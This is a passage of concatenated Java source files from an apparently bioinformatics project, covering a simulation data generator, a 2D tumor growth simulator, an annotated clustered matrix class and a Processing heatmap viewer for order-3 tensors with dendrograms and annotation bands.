SCM; } protected void generateData(){ calculateMatrix(); calculateSegmentContainerMap(); } public static void main(String [] args) throws Exception{Options options = new Options(); SimulationDataGenerator S = new SimulationDataGenerator(); options.addOption("r", "conrario", true, "concordant sample ratio (" + S.concordantSampleRatio + ")"); options.addOption("c", "conpos", true, "concordant position (" + MyFunc.join(",",S.concordantProbe)+ ")"); options.addOption("s", "lnonc", true, "nonconcordant segment length average (" + S.nonconcordantSegmentLengthMean + ")"); options.addOption("n", "nnoc", true, "nonconcordant segment number avarage(" + S.nonconcordantSegmentNumberMean + ")"); options.addOption("S", "sampsize", true, "sample size (" + S.sampleNumber + ")"); options.addOption("P", "prbsize", true, "probe size (" + S.probeNumber + ")"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName(), options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 0){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName(), options); return; } if(commandLine.hasOption("r")){ S.setConcordantSampleRatio(Double.valueOf(commandLine.getOptionValue("r"))); } if(commandLine.hasOption("s")){ S.setNonconcordantSegmentLengthMean(Integer.valueOf(commandLine.getOptionValue("s"))); } if(commandLine.hasOption("n")){ S.setNonconcordantSegmentNumberMean(Integer.valueOf(commandLine.getOptionValue("n"))); } if(commandLine.hasOption("S")){ S.setSampleNumber(Integer.valueOf(commandLine.getOptionValue("S"))); } if(commandLine.hasOption("P")){ S.setProbeNumber(Integer.valueOf(commandLine.getOptionValue("P"))); } if(commandLine.hasOption("c")){ S.setConcordantProbe(commandLine.getOptionValue("c")); } S.generateData(); S.SCM.print(); //S.D.print(); } } <file_sep>/src/old/Simulator2D.java package old; import java.util.*; public class Simulator2D { double mutaionRate = 0.0001; double defaultProliferationRate = 0.01; int spaceSize = 10000; int coreSize = 2; int time = 0; int maxTime = 10000; int genomeSize = 10; int driverSize = 5; public class Genome { Set <Integer> mutatedGenes; Genome(){ mutatedGenes = new HashSet<Integer>(); } Genome(Genome genome){ mutatedGenes = new HashSet<Integer>(genome.mutatedGenes); } boolean isMutated(int i){ return mutatedGenes.contains(i); } void mutate(){ for(int i=0; i < genomeSize; i++){ if(!isMutated(i) & Math.random() < mutaionRate){ mutatedGenes.add(i); } } } } public class Cell { Genome genome; double fitness; double proliferationRate; Cell(){ genome = new Genome(); proliferationRate = defaultProliferationRate; fitness = 1; } Cell(Cell C){ proliferationRate = C.proliferationRate; fitness = C.fitness; genome = new Genome(C.genome); } void mutateGenome(){ genome.mutate(); setPenotype(); } void setPenotype(){ for(int i=0; i< driverSize; i++){ if(genome.isMutated(i)){ fitness *= 10; } } } } public class Coordinate{ int x,y; public Coordinate(int x, int y){ this.x = x; this.y = y; } } public class TumorSpace{ Cell S[][]; public TumorSpace(){ S = new Cell[2*spaceSize+1][2*spaceSize+1]; } public boolean isOccupied(Coordinate coord){ if(S[coord.x+spaceSize][coord.y+spaceSize] != null){ return true; }else{ return false; } } public Cell get(Coordinate coord){ return S[coord.x+spaceSize][coord.y+spaceSize]; } public void set(Coordinate coord, Cell C){ S[coord.x+spaceSize][coord.y+spaceSize] = C; } public void kill(Coordinate coord){ S[coord.x+spaceSize][coord.y+spaceSize] = null; } public boolean isInTumorSpase(Coordinate coord){ if(Math.abs(coord.x) <= spaceSize & Math.abs(coord.y) <= spaceSize){ return true; }else{ return false; } } public List <Coordinate> getNeighbors(Coordinate coord){ List <Coordinate> C = new ArrayList<Coordinate>(); List <Integer> I = new ArrayList<Integer>(); I.add(1);I.add(0);I.add(-1); for(Integer x: I){ for(Integer y: I){ //if(x ==0 | y ==0 ){ Coordinate c = new Coordinate(coord.x+x,coord.y+y); if(isInTumorSpase(c)){ C.add(c); } //} } } return C; } public List <Coordinate> getOccupiedSites(){ List <Coordinate> C = new ArrayList<Coordinate>(); for(int i = 0; i < 2*spaceSize+1; i++){ for(int j = 0; j < 2*spaceSize+1; j++){ Coordinate c = new Coordinate(i-spaceSize,j-spaceSize); if(isInTumorSpase(c) & isOccupied(c)){ C.add(c); } } } return C; } void fillCore(){ Cell C = new Cell(); List <Integer> I = new ArrayList<Integer>(); for(int i = -coreSize; i <= coreSize; i++){ I.add(i); } for(Integer x: I){ for(Integer y: I){ Coordinate c = new Coordinate(x,y); set(c,C); } } } } TumorSpace space; public Simulator2D(){ space = new TumorSpace(); } public void initialize(){ space.fillCore(); } void simulateOneStep(){ List <Coordinate> occupied = space.getOccupiedSites(); for(Coordinate o: occupied){ Cell C = space.get(o); if(C.proliferationRate < Math.random()){ C.mutateGenome(); Cell newC = new Cell(C); List <Coordinate> neighbor = space.getNeighbors(o); Collections.shuffle(neighbor); Coordinate newP = neighbor.get(0); if(space.isOccupied(newP)){ double r = newC.fitness/(newC.fitness + C.fitness); if(r < Math.random()){ space.set(newP, newC); } }else{ space.set(newP, newC); } } } time++; } void simulate(){ for(int i=0; i<maxTime; i++){ simulateOneStep(); } } } <file_sep>/src/utility/ClusteredMyMatWithAnnotation.java package utility; import java.io.*; import java.io.ObjectOutputStream; import java.util.*; import java.util.zip.DataFormatException; public class ClusteredMyMatWithAnnotation extends ClusteredMyMat { private static final long serialVersionUID = 7504010036081659458L; private StringMat rowAnnotation = null; // row:rowname col:annotationType private StringMat colAnnotation = null; // row:colname col:annotationType public ClusteredMyMatWithAnnotation(ClusteredMyMatWithAnnotation M) { super(M); if(M.rowAnnotation != null){ rowAnnotation = new StringMat(M.rowAnnotation); } if(M.colAnnotation != null){ colAnnotation = new StringMat(M.colAnnotation); } } public String getRowAnnotation(String annotationType, String rowname){ return rowAnnotation.get(rowname, annotationType); } public List <String> getRowAnnotation(String annotationType){ return rowAnnotation.getCol(annotationType); } public Map <String, String> getRowAnnotationMap(String annotationType){ return rowAnnotation.getColMap(annotationType); } public void setRowAnnotation(String annotationType, String rowname, String value){ rowAnnotation.set(rowname, annotationType, value); } public String getColAnnotation(String annotationType, String colname){ return colAnnotation.get(colname, annotationType); } public List <String> getColAnnotation(String annotationType){ return colAnnotation.getCol(annotationType); } public Map <String, String> getColAnnotationMap(String annotationType){ return colAnnotation.getColMap(annotationType); } public StringMat getColAnnotationMatrix(){ return colAnnotation; } public StringMat getRowAnnotationMatrix(){ return rowAnnotation; } public void setColAnnotation(String annotationType, String colname, String value){ colAnnotation.set(colname, annotationType, value); } public List<String> getRowAnnotationTypes(){ return rowAnnotation.getColNames(); } public List<String> getColAnnotationTypes(){ return colAnnotation.getColNames(); } public ClusteredMyMatWithAnnotation(){ super(); } public ClusteredMyMatWithAnnotation(String infile) throws IOException, DataFormatException{ super(infile); } public ClusteredMyMatWithAnnotation(MyMat m){ super(m); } public ClusteredMyMatWithAnnotation(List <String> row, List <String> col){ super(row, col); } public void setAnnotation(StringMat annotation){ if(!MyFunc.isect(rowname, annotation.getRowNames()).isEmpty() || !MyFunc.isect(rowname, annotation.getColNames()).isEmpty()){ setRowAnnotation(annotation); } if(!MyFunc.isect(colname, annotation.getRowNames()).isEmpty() || !MyFunc.isect(colname, annotation.getColNames()).isEmpty()){ setColAnnotation(annotation); } return; } public void addAnnotation(StringMat annotation){ if(!MyFunc.isect(rowname, annotation.getRowNames()).isEmpty() || !MyFunc.isect(rowname, annotation.getColNames()).isEmpty()){ addRowAnnotation(annotation); } if(!MyFunc.isect(colname, annotation.getRowNames()).isEmpty() || !MyFunc.isect(colname, annotation.getColNames()).isEmpty()){ addColAnnotation(annotation); } return; } public void setRowAnnotation(StringMat annotation){ if(!MyFunc.isect(rowname, annotation.getRowNames()).isEmpty()){ rowAnnotation = new StringMat(new ArrayList<String>(rowname), annotation.getColNames()); for(String s: rowname){ for(String t: annotation.getColNames()){ if(annotation.containsRowName(s)){ rowAnnotation.set(s, t, annotation.get(s, t)); } } } return; } if(!MyFunc.isect(rowname, annotation.getColNames()).isEmpty()){ rowAnnotation = new StringMat(new ArrayList<String>(rowname), annotation.getRowNames()); for(String s: rowname){ for(String t: annotation.getRowNames()){ if(annotation.containsColName(s)){ rowAnnotation.set(s, t, annotation.get(t, s)); } } } return; } } public void addRowAnnotation(StringMat annotation){ if(!hasRowAnnotation()){ setRowAnnotation(annotation); }else{ if(!MyFunc.isect(rowname, annotation.getRowNames()).isEmpty()){ StringMat tmp = new StringMat(new ArrayList<String>(rowname), annotation.getColNames()); for(String s: rowname){ for(String t: annotation.getColNames()){ if(annotation.containsRowName(s)){ tmp.set(s, t, annotation.get(s, t)); } } } rowAnnotation = rowAnnotation.bindCol(tmp); return; } if(!MyFunc.isect(rowname, annotation.getColNames()).isEmpty()){ StringMat tmp = new StringMat(new ArrayList<String>(rowname), annotation.getRowNames()); for(String s: rowname){ for(String t: annotation.getRowNames()){ if(annotation.containsColName(s)){ tmp.set(s, t, annotation.get(t, s)); } } } rowAnnotation = rowAnnotation.bindCol(tmp); return; } } } public void setColAnnotation(StringMat annotation){ if(!MyFunc.isect(colname, annotation.getRowNames()).isEmpty()){ colAnnotation = new StringMat(new ArrayList<String>(colname), annotation.getColNames()); for(String s: colname){ for(String t: annotation.getColNames()){ if(annotation.containsRowName(s)){ colAnnotation.set(s, t, annotation.get(s, t)); } } } return; } if(!MyFunc.isect(colname, annotation.getColNames()).isEmpty()){ colAnnotation = new StringMat(new ArrayList<String>(colname), annotation.getRowNames()); for(String s: colname){ for(String t: annotation.getRowNames()){ if(annotation.containsColName(s)){ colAnnotation.set(s, t, annotation.get(t, s)); } } } return; } } public void addColAnnotation(StringMat annotation){ if(!hasColAnnotation()){ setColAnnotation(annotation); }else{ if(!MyFunc.isect(colname, annotation.getRowNames()).isEmpty()){ StringMat tmp = new StringMat(new ArrayList<String>(colname), annotation.getColNames()); for(String s: colname){ for(String t: annotation.getColNames()){ if(annotation.containsRowName(s)){ tmp.set(s, t, annotation.get(s, t)); } } } colAnnotation = colAnnotation.bindCol(tmp); return; } if(!MyFunc.isect(colname, annotation.getColNames()).isEmpty()){ StringMat tmp = new StringMat(new ArrayList<String>(colname), annotation.getRowNames()); for(String s: colname){ for(String t: annotation.getRowNames()){ if(annotation.containsColName(s)){ tmp.set(s, t, annotation.get(t, s)); } } } colAnnotation = colAnnotation.bindCol(tmp); return; } } } public boolean hasRowAnnotation(){ return (rowAnnotation==null)?false:true; } public boolean hasColAnnotation(){ return (colAnnotation==null)?false:true; } @SuppressWarnings("unchecked") public void reorderRows(List row){ super.reorderRows(row); if(hasRowAnnotation()){ rowAnnotation.reorderRows(rowname); } } @SuppressWarnings("unchecked") public void reorderCols(List col){ super.reorderCols(col); if(hasColAnnotation()){ colAnnotation.reorderRows(colname); } } public void sortColsByValue(String rowname){ if(hasColAnnotation() && colAnnotation.containsColName(rowname)){ Map <String,Double> tmp = MyFunc.StirngStringMap2StringDoubleMap(colAnnotation.getColMap(rowname)); List <String> tmp2 = MyFunc.sortKeysByAscendingOrderOfValues(tmp); reorderCols(tmp2); }else{ Map <String,Double> tmp = getRowMap(rowname); List <String> tmp2 = MyFunc.sortKeysByAscendingOrderOfValues(tmp); reorderCols(tmp2); } } public void sortRowsByValue(String colname){ if(hasRowAnnotation() && rowAnnotation.containsColName(colname)){ Map <String,Double> tmp = MyFunc.StirngStringMap2StringDoubleMap(rowAnnotation.getColMap(colname)); List <String> tmp2 = MyFunc.sortKeysByAscendingOrderOfValues(tmp); reorderCols(tmp2); }else{ Map <String,Double> tmp = getColMap(colname); List <String> tmp2 = MyFunc.sortKeysByAscendingOrderOfValues(tmp); reorderRows(tmp2); } } public void setRowClustering(HierarchicalClustering H){ reorderRows(H.getSortedTerminalNodes()); rowClustering = H; } public void setColClustering(HierarchicalClustering H){ reorderCols(H.getSortedTerminalNodes()); colClustering = H; } public void printAsBinary(String outfile) throws FileNotFoundException, IOException{ ObjectOutputStream out = new ObjectOutputStream(new BufferedOutputStream(new FileOutputStream(outfile))); out.writeObject(this); out.close(); } public static ClusteredMyMatWithAnnotation readFromBinary(String infile) throws FileNotFoundException, IOException, ClassNotFoundException{ ObjectInputStream in = new ObjectInputStream(new BufferedInputStream(new FileInputStream(infile))); ClusteredMyMatWithAnnotation M = (ClusteredMyMatWithAnnotation)in.readObject(); in.close(); return M; } } <file_sep>/bin/tensor/.svn/text-base/ClusteredOrder3TensorViewer.java.svn-base package tensor; import java.util.Collections; import java.util.HashMap; import java.util.List; import java.util.Map; import utility.*; import processing.core.PApplet; public class ClusteredOrder3TensorViewer extends Order3TensorViewer{ private static final long serialVersionUID = -5287573654558352861L; protected int alpha = 180; protected ClusteredOrder3TensorWithAnnotation T; protected String outFile; protected boolean autoStop = false; protected float profileWidth = 500; protected float profileHeight = 500; protected int rowLabelFontSize = 10; protected int colLabelFontSize = 10; protected int sliceLabelFontSize = 20; protected float spaceBetweenRowLablelAndProfile = 10; protected float rowLabelSpaceWidth = 100; protected float spaceBetweenColLablelAndProfile = 10; protected float colLabelSpaceWidth = 100; protected int marginX = 20; protected int marginY = 20; protected float boxWidth = 0; protected float boxHeight = 0; protected int color1 = MyColor.getRGBhex("BLUE"); protected int color2 = MyColor.getRGBhex("WHITE"); protected int color3 = MyColor.getRGBhex("RED"); protected int bgColor = MyColor.getRGBhex("WHITE"); protected float rowDendBase = 10; protected float rowDendHeight = 90; protected float spaceNext2RowDend = 5; protected float colDendBase = 10; protected float colDendHeight = 90; protected float spaceNext2ColDend = 5; protected int rowDendLineWidth = 1; protected int colDendLineWidth = 1; protected float rowAnnotBandwidth = 20; protected float spaceNext2RowAnnot = 5; protected float colAnnotBandwidth = 20; protected float spaceNext2ColAnnot = 5; protected int rowAnnotLabelFontSize = 10; protected int colAnnotLabelFontSize = 10; protected int indicaterFontSize = 10; protected int colorForAnnotBand1 = MyColor.getRGBhex("BLUE"); protected int colorForAnnotBand2 = MyColor.getRGBhex("YELLOW"); protected int colorForAnnotBand3 = MyColor.getRGBhex("RED"); float max; float min; public void setAnnotBandColor(String lowColor, String midColor, String highColor){ colorForAnnotBand1 = MyColor.getRGBhex(lowColor); colorForAnnotBand2 = MyColor.getRGBhex(midColor); colorForAnnotBand3 = MyColor.getRGBhex(highColor); } public void setAnnotBandColor(String lowColor, String highColor){ colorForAnnotBand1 = MyColor.getRGBhex(lowColor); colorForAnnotBand2 = PApplet.lerpColor(MyColor.getRGBhex(lowColor), MyColor.getRGBhex(highColor), (float) 0.5, RGB); colorForAnnotBand3 = MyColor.getRGBhex(highColor); } protected StringMat rowAnnotation = null; protected StringMat colAnnotation = null; protected HierarchicalClustering rowClustering = null; protected HierarchicalClustering colClustering = null; public ClusteredOrder3TensorViewer(){ } public ClusteredOrder3TensorViewer (ClusteredOrder3TensorWithAnnotation T){ this.T = T; setSlicedOder(3); calculateSize(); max = (float) T.max(); min = (float) T.min(); } public void setSlicedOder(int i){ boxWidth = 0; boxHeight = 0; if(i == 1){ slicedOrder = 1; nrow = T.getDimOfOrder2(); ncol = T.getDimOfOrder3(); nslice = T.getDimOfOrder1(); rowClustering = T.getOrder2Clustering(); colClustering = T.getOrder3Clustering(); rowAnnotation = T.getOrder2AnnotationMatrix(); colAnnotation = T.getOrder3AnnotationMatrix(); } if(i == 2){ slicedOrder = 2; nrow = T.getDimOfOrder3(); ncol = T.getDimOfOrder1(); nslice = T.getDimOfOrder2(); rowClustering = T.getOrder3Clustering(); colClustering = T.getOrder1Clustering(); rowAnnotation = T.getOrder3AnnotationMatrix(); colAnnotation = T.getOrder1AnnotationMatrix(); } if(i == 3){ slicedOrder = 3; nrow = T.getDimOfOrder1(); ncol = T.getDimOfOrder2(); nslice = T.getDimOfOrder3(); rowClustering = T.getOrder1Clustering(); colClustering = T.getOrder2Clustering(); rowAnnotation = T.getOrder1AnnotationMatrix(); colAnnotation = T.getOrder2AnnotationMatrix(); } } protected void calculateSize(){ if(boxWidth != 0){ profileWidth = boxWidth*ncol; } if(boxHeight != 0){ profileHeight = boxHeight*nrow; } profileX1 = marginX + (rowClustering!=null?rowDendHeight+rowDendBase+spaceNext2RowDend:0) + (rowAnnotation != null ?rowAnnotBandwidth*rowAnnotation.colSize() + spaceNext2RowAnnot:0); profileX2 = profileX1 + profileWidth; Width = profileX2 + spaceBetweenRowLablelAndProfile + rowLabelSpaceWidth + marginX; boxWidth = (profileX2-profileX1)/ncol; profileY1 = marginY + (colClustering!=null?colDendHeight+colDendBase+spaceNext2ColDend:0) + (colAnnotation != null ?colAnnotBandwidth*colAnnotation.colSize() + spaceNext2ColAnnot:0); profileY2 = profileY1 + profileHeight; Height = profileY2 + spaceBetweenColLablelAndProfile + colLabelSpaceWidth + marginY; boxHeight = (profileY2-profileY1)/nrow; } public void scaleColorByRow(){ colorScalingByRow = true; colorScalingByCol = false; } public void scaleColorByColumn(){ colorScalingByRow = false; colorScalingByCol = true; } protected void drawSliceLable(){ textSize(sliceLabelFontSize); textAlign(RIGHT, BOTTOM); fill(0,alpha); text(getSliceLable(), (float)(marginX + rowDendHeight), (float)(marginY + colDendHeight)); } protected String getSliceLable(){ String label = ""; if(slicedOrder == 1){ label = T.getName1().get(sliceIndex); }else if(slicedOrder == 2){ label = T.getName2().get(sliceIndex); }else if(slicedOrder == 3){ label = T.getName3().get(sliceIndex); } return label; } protected MyMat getSlice(){ if(slicedOrder == 1){ return T.getOrder1Slice(sliceIndex); }else if(slicedOrder == 2){ return T.getOrder2Slice(sliceIndex); }else if(slicedOrder == 3){ return T.getOrder3Slice(sliceIndex); }else{ return null; } } public void draw(){ if(outFile != null){ beginRecord(PDF, outFile + "." + getSliceLable() + ".pdf"); } textFont(font); background(bgColor); drawProfile(getSlice()); drawRowlabels(getSlice()); drawCollabels(getSlice()); drawIndicator(getSlice()); if(rowClustering!=null){ drawRowDendrogram(); } if(colClustering!=null){ drawColDendrogram(); } if(rowAnnotation!=null){ drawRowAnnotBand(); } if(colAnnotation!=null){ drawColAnnotBand(); } drawSliceLable(); if(outFile != null){ endRecord(); sliceIndex++; } if(autoStop & sliceIndex == nslice){ this.stop(); } } public void mousePressed(){ sliceIndex++; if(sliceIndex == nslice){ sliceIndex = 0; } } protected void drawIndicator(){ drawIndicator(getSlice()); } protected void drawIndicator(MyMat myMat){ textSize(indicaterFontSize); textAlign(CENTER, BOTTOM); fill(0); double x = ((mouseX -profileX1)/boxWidth); double y = ((mouseY -profileY1)/boxHeight); int j = (int)x; int i = (int)y; if(x > 0 && y > 0 && i>=0 && i < myMat.rowSize() && j>=0 && j < myMat.colSize()){ String label = myMat.getRowNames().get(i) + "\n" + myMat.getColNames().get(j) + "\n" +MyFunc.getEfficientRoundString(myMat.get(i, j),3); text(label, mouseX, mouseY); } if(rowAnnotation!=null){ float rowAnnotX1 = marginX + (rowClustering!=null?rowDendHeight+rowDendBase+spaceNext2RowDend:0); float rowAnnotY1 = profileY1; x = ((mouseX-rowAnnotX1)/rowAnnotBandwidth); y = ((mouseY-rowAnnotY1)/boxHeight); j = (int)x; i = (int)y; StringMat A = rowAnnotation; if(x > 0 && y > 0 && i>=0 && i < myMat.rowSize() && j>=0 && j < A.colSize()){ String label = A.getRowNames().get(i) + "\n" + A.getColNames().get(j) + "\n" + A.get(i, j); text(label, mouseX, mouseY); } } if(colAnnotation!=null){ float colAnnotY1 = marginY + (colClustering!=null?colDendHeight+colDendBase+spaceNext2ColDend:0); float colAnnotX1 = profileX1; x = ((mouseX-colAnnotX1)/boxWidth); y = ((mouseY-colAnnotY1)/colAnnotBandwidth); i = (int)x; j = (int)y; StringMat A = colAnnotation; if(x > 0 && y > 0 && i>=0 && i < myMat.rowSize() && j>=0 && j < A.colSize()){ String label = A.getRowNames().get(i) + "\n" + A.getColNames().get(j) + "\n" + A.get(i, j); text(label, mouseX, mouseY); } } } protected void drawProfile(){ drawProfile(getSlice()); } protected void drawProfile(MyMat M){ int ncol = M.colSize(); int nrow = M.rowSize(); //float max; //float min; if(colorScalingByRow){ for(int i = 0; i < nrow; i++){ List <Double> row = M.getRow(i); max = (float)MyFunc.max(row); min = (float)MyFunc.min(row); for(int j = 0; j < ncol; j++){ float p = (float) ((M.get(i, j)-min)/(max-min)); int color = MyColor.lerpColor(color1 ,color2,color3, p, RGB); fill(color,alpha); noStroke(); rect((profileX1+j*boxWidth),(profileY1+i*boxHeight),boxWidth,boxHeight); } } return; } if(colorScalingByCol){ for(int j = 0; j < ncol; j++){ List <Double> col = M.getCol(j); max = (float)MyFunc.max(col); min = (float)MyFunc.min(col); for(int i = 0; i < nrow; i++){ float p = (float) ((M.get(i, j)-min)/(max-min)); int color = MyColor.lerpColor(color1 ,color2,color3, p, RGB); fill(color,alpha); noStroke(); rect((profileX1+j*boxWidth),(profileY1+i*boxHeight),boxWidth,boxHeight); } } return; } //max = (float)MyFunc.max(M.asList()); //min = (float)MyFunc.min(M.asList()); //max = (float)MyFunc.percentile(M.asList(),0.99); //min = (float)MyFunc.percentile(M.asList(),0.01); for(int i = 0; i < nrow; i++){ for(int j = 0; j < ncol; j++){ float p; if(M.get(i, j)>=max){ p=(float)1.0; }else if(M.get(i, j)<=min){ p=(float)0.0; }else{ p = (float) ((M.get(i, j)-min)/(max-min)); } int color = MyColor.lerpColor(color1 ,color2,color3, p, RGB); fill(color,alpha); noStroke(); rect((profileX1+j*boxWidth),(profileY1+i*boxHeight),boxWidth,boxHeight); } } } private void drawRowDendrogram(){ float rowDendX1 = marginX; float rowDendX2 = marginX + rowDendHeight+rowDendBase; float rowDendY1 = profileY1; stroke(color(0)); strokeWeight(rowDendLineWidth); Map <String, Double> node2dist = rowClustering.getNode2distMap(); Map <String, String[]> node2daughter = rowClustering.getNode2daughterMap(); Map <String, String> node2parent = rowClustering.getNode2parentMap(); List <String> rownames = rowClustering.getSortedTerminalNodes(); Map <String, Double> node2Y = new HashMap<String, Double>(); Map <String, Double> node2X1 = new HashMap<String, Double>(); Map <String, Double> node2X2 = new HashMap<String, Double>(); for(int i = 0; i < nrow; i++){ double Y = (rowDendY1 + (i+0.5)*boxHeight); double X1 = (rowDendX2 - rowDendBase - rowDendHeight * node2dist.get(node2parent.get(rownames.get(i)))); double X2 = (double)rowDendX2; node2Y.put(rownames.get(i), Y); node2X1.put(rownames.get(i), X1); node2X2.put(rownames.get(i), X2); line((float)X1,(float)Y,(float)X2,(float)Y); } for(int i = 1; i < nrow-1; i++){ String node = "node" + i; double Y = ( node2Y.get(node2daughter.get(node)[0]) + node2Y.get(node2daughter.get(node)[1]) )/2; double X1 = (rowDendX2 - rowDendBase - rowDendHeight * node2dist.get(node2parent.get(node))); double X2 = node2X1.get(node2daughter.get(node)[0]); node2Y.put(node, Y); node2X1.put(node, X1); node2X2.put(node, X2); line((float)X1,(float)Y,(float)X2,(float)Y); line((float)X2,(float)(double)node2Y.get(node2daughter.get(node)[0]),(float)X2,(float)(double)node2Y.get(node2daughter.get(node)[1])); } line(rowDendX1, (float)(double)node2Y.get(node2daughter.get("node" + (nrow-1))[0]) , rowDendX1, (float)(double)node2Y.get(node2daughter.get("node" + (nrow-1))[1])); } private void drawColDendrogram(){ float colDendX1 = profileX1; float colDendY1 = marginY; float colDendY2 = marginY + colDendHeight+ colDendBase; stroke(color(0)); strokeWeight(colDendLineWidth); Map <String, Double> node2dist = colClustering.getNode2distMap(); Map <String, String[]> node2daughter = colClustering.getNode2daughterMap(); Map <String, String> node2parent = colClustering.getNode2parentMap(); List <String> colnames = colClustering.getSortedTerminalNodes(); Map <String, Double> node2X = new HashMap<String, Double>(); Map <String, Double> node2Y1 = new HashMap<String, Double>(); Map <String, Double> node2Y2 = new HashMap<String, Double>(); for(int i = 0; i < ncol; i++){ double X = (colDendX1 + (i+0.5)*boxWidth); double Y1 = (colDendY2 - colDendBase - colDendHeight * node2dist.get(node2parent.get(colnames.get(i)))); double Y2 = (double)colDendY2; node2X.put(colnames.get(i), X); node2Y1.put(colnames.get(i), Y1); node2Y2.put(colnames.get(i), Y2); line((float)X,(float)Y1,(float)X,(float)Y2); } for(int i = 1; i < ncol-1; i++){ String node = "node" + i; double X = ( node2X.get(node2daughter.get(node)[0]) + node2X.get(node2daughter.get(node)[1]) )/2; double Y1 = (colDendY2 - colDendBase - colDendHeight * node2dist.get(node2parent.get(node))); double Y2 = node2Y1.get(node2daughter.get(node)[0]); node2X.put(node, X); node2Y1.put(node, Y1); node2Y2.put(node, Y2); line((float)X,(float)Y1,(float)X,(float)Y2); line((float)(double)node2X.get(node2daughter.get(node)[0]),(float)Y2,(float)(double)node2X.get(node2daughter.get(node)[1]),(float)Y2); } line((float)(double)node2X.get(node2daughter.get("node" + (ncol-1))[0]), colDendY1, (float)(double)node2X.get(node2daughter.get("node" + (ncol-1))[1]), colDendY1); } protected void drawRowlabels(){ drawRowlabels(getSlice()); } protected void drawRowlabels(MyMat M){ List <String> rowname = M.getRowNames(); textSize(rowLabelFontSize); textAlign(LEFT, CENTER); fill(0,alpha); for(int i = 0; i < nrow; i++){ text(rowname.get(i), profileX2+spaceBetweenRowLablelAndProfile, (float)(profileY1 + (i+0.5)*boxHeight)); } } protected void drawCollabels(){ drawCollabels(getSlice()); } protected void drawCollabels(MyMat M){ List <String> colname = M.getColNames(); textSize(colLabelFontSize); textAlign(RIGHT,CENTER); fill(0,alpha); for(int i = 0; i < ncol; i++){ float x = (float)(profileX1 + (i+0.5)*boxWidth); float y = profileY2+spaceBetweenColLablelAndProfile; rotatedText(colname.get(i),x,y, HALF_PI*3); } } protected void drawRowAnnotBand(){ float rowAnnotX1 = marginX + (rowClustering!=null?rowDendHeight+rowDendBase+spaceNext2RowDend:0); float rowAnnotY1 = profileY1; List <String> annotTypes = rowAnnotation.getColNames(); for(int i = 0; i < annotTypes.size(); i++){ String annotType = annotTypes.get(i); List <String> annotString = rowAnnotation.getCol(annotType); List <String> annotStringNotEmpty = MyFunc.removeEmptyString(annotString); List <String> annotEntry = MyFunc.uniq(annotStringNotEmpty); Collections.sort(annotEntry); if(annotEntry.size() == 1){ for(int j = 0; j < annotString.size(); j++){ if(!annotString.get(j).equals("")){ fill(colorForAnnotBand3,alpha); noStroke(); rect((rowAnnotX1+i*rowAnnotBandwidth),(rowAnnotY1+j*boxHeight),rowAnnotBandwidth,boxHeight); } } fill(0,alpha); textSize(rowAnnotLabelFontSize); textAlign(RIGHT,CENTER); rotatedText(annotType, (float)(rowAnnotX1+(i+0.5)*rowAnnotBandwidth), (float)(profileY2 + spaceBetweenColLablelAndProfile),HALF_PI*3); continue; } if(MyFunc.canBeDouble(annotStringNotEmpty)){ List <Double> annotDouble = MyFunc.toDouble(annotStringNotEmpty); float max = (float)MyFunc.max(annotDouble); float min = (float)MyFunc.min(annotDouble); for(int j = 0; j < annotString.size(); j++){ if(!annotString.get(j).equals("")){ float p = (float)((Double.valueOf(annotString.get(j))-min)/(max-min)); int color = MyColor.lerpColor(colorForAnnotBand1,colorForAnnotBand2,colorForAnnotBand3, p, HSB); fill(color,alpha); noStroke(); rect((rowAnnotX1+i*rowAnnotBandwidth),(rowAnnotY1+j*boxHeight),rowAnnotBandwidth,boxHeight); }else{ fill(bgColor,alpha); noStroke(); rect((rowAnnotX1+i*rowAnnotBandwidth),(rowAnnotY1+j*boxHeight),rowAnnotBandwidth,boxHeight); } } }else{ float d = (float)(1.0/(annotEntry.size()-1)); Map <String, Integer> annot2color = new HashMap<String, Integer>(); for(int j = 0 ; j < annotEntry.size(); j++){ annot2color.put(annotEntry.get(j),(Integer)MyColor.lerpColor(colorForAnnotBand1,colorForAnnotBand2,colorForAnnotBand3, d*j, HSB)); } for(int j = 0; j < annotString.size(); j++){ if(!annotString.get(j).equals("")){ fill(annot2color.get(annotString.get(j)), alpha); noStroke(); rect((rowAnnotX1+i*rowAnnotBandwidth),(rowAnnotY1+j*boxHeight),rowAnnotBandwidth,boxHeight); }else{ fill(bgColor, alpha); noStroke(); rect((rowAnnotX1+i*rowAnnotBandwidth),(rowAnnotY1+j*boxHeight),rowAnnotBandwidth,boxHeight); } } } fill(0,alpha); textSize(rowAnnotLabelFontSize); textAlign(RIGHT,CENTER); rotatedText(annotType, (float)(rowAnnotX1+(i+0.5)*rowAnnotBandwidth), (float)(profileY2 + spaceBetweenColLablelAndProfile),HALF_PI*3); } } protected void drawColAnnotBand(){ float colAnnotY1 = marginY + (colClustering!=null?colDendHeight+colDendBase+spaceNext2ColDend:0); float colAnnotX1 = profileX1; List <String> annotTypes = colAnnotation.getColNames(); for(int i = 0; i < annotTypes.size(); i++){ String annotType = annotTypes.get(i); List <String> annotString = colAnnotation.getCol(annotType); List <String> annotStringNotEmpty = MyFunc.removeEmptyString(annotString); List <String> annotEntry = MyFunc.uniq(annotStringNotEmpty); Collections.sort(annotEntry); if(annotEntry.size()== 1){ for(int j = 0; j < annotString.size(); j++){ if(!annotString.get(j).equals("")){ fill(colorForAnnotBand3,alpha); noStroke(); rect((colAnnotX1+j*boxWidth),(colAnnotY1+i*colAnnotBandwidth),boxWidth,colAnnotBandwidth); } } fill(0,alpha); textSize(colAnnotLabelFontSize); textAlign(LEFT, CENTER); text(annotType, (float)(profileX2 + spaceBetweenRowLablelAndProfile), (float)(colAnnotY1+(i+0.5)*colAnnotBandwidth)); continue; } if(MyFunc.canBeDouble(annotStringNotEmpty)){ List <Double> annotDouble = MyFunc.toDouble(annotStringNotEmpty); float max = (float)MyFunc.max(annotDouble); float min = (float)MyFunc.min(annotDouble); for(int j = 0; j < annotString.size(); j++){ if(!annotString.get(j).equals("")){ float p = (float)((Double.valueOf(annotString.get(j))-min)/(max-min)); int color = MyColor.lerpColor(colorForAnnotBand1,colorForAnnotBand2,colorForAnnotBand3, p, HSB); fill(color,alpha); noStroke(); rect((colAnnotX1+j*boxWidth),(colAnnotY1+i*colAnnotBandwidth),boxWidth,colAnnotBandwidth); }else{ 